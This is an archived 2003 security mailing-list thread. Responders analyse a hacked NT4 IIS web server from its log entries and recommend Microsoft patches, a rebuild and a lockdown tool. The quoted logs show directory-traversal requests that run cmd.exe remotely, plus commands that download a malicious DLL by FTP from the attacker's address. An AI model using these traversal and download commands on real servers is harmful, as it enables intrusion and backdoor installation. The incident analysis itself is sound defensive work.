

RE: Hacked web server

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/incidents/2003-01/0079.html>

From: Michael LaSalvia (mike@jason.org)

Date: 01/13/03

From: "Michael LaSalvia" <mike@jason.org>
To: "'Michael Katz'" <mike@procinct.com>, <incidents@securityfocus.com>
Date: Mon, 13 Jan 2003 10:28:42 -0500

I would also suggest running the IIS lock down tool.

<http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/tools/tools/locktool.asp>

-----Original Message-----

From: Michael Katz [<mailto:mike@procinct.com>]

Sent: Sunday, January 12, 2003 9:20 PM

To: incidents@securityfocus.com

Cc: Rogelio Vidaurri Courcelle

Subject: Re: Hacked web server

At 1/10/2003 12:39 PM, Rogelio Vidaurri Courcelle wrote:

>Hi... my web server (NT 4.0 SP6a) was hacked last friday

Rogelio,

>200.38.237.2, -, 5/01/03, 4:15:09, W3SVC, INGRESOS02, 200.38.152.221,
>125, 96, 8201, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe,
>/c+dir,

The above shows that your server is susceptible to a vulnerability detailed in Microsoft Security Bulletin MS00-057

(<http://www.microsoft.com/technet/security/bulletin/ms00-057.asp>). This vulnerability is NOT fixed by Service Pack 6a. You need to install additional patches for IIS. When you rebuild the server, you should install the cumulative IIS patch described in Microsoft Security Bulletin MS02-062 (<http://www.microsoft.com/technet/security/bulletin/ms02-062.asp>)

>200.38.237.2, -, 5/01/03, 4:15:09, W3SVC, INGRESOS02, 200.38.152.221,
>125, 152, 369, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe,
>/c+ftp%20-i%20200.38.237.2%20GET%20cool.dll%20c:\httpodbc.dll,
>200.38.237.2, -, 5/01/03, 4:15:10, W3SVC, INGRESOS02, 200.38.152.221,
>125, 152, 369, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe,
>/c+ftp%20-i%20200.38.237.2%20GET%20cool.dll%20d:\httpodbc.dll,
>200.38.237.2, -, 5/01/03, 4:15:10, W3SVC, INGRESOS02, 200.38.152.221,

SecurityFocus Incidents: RE: Hacked web server

>125, 152, 369, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe,
>/c+ftp%20-i%20200.38.237.2%20GET%20cool.dll%20e:\httpodbc.dll,

Your failure to find a virus (httpodbc.dll) on your hard disk may indicate that your firewall was configured properly or that antivirus software prevented the infected file from being written to your hard disk (if you had antivirus software with relatively current definitions). However, there are plenty of other bad things that could be on your system that attackers could have placed on your system that would not be flagged as malware by antivirus software.

>*i have read that it could be because of Nimda but i have scanned with
>the latest pattern and it found no viruses... only a backdoor trojan
>called ncx99.exe dropped in mailroot\drop\temp
>by the way, can i delete files inside that folder??? there's a
>rundlls32.exe... a KEY file, etcetera.....*

ncx99.exe is most likely a modified version of netcat and is not flagged by most antivirus software as malware.

If your machine has been configured this way for two months, you should rebuild it and start from scratch. Who knows what attackers may have done to your system?

Michael Katz
mike@procinct.com
Procinct Security

This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management
and tracking system please see: <http://aris.securityfocus.com>

This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management
and tracking system please see: <http://aris.securityfocus.com>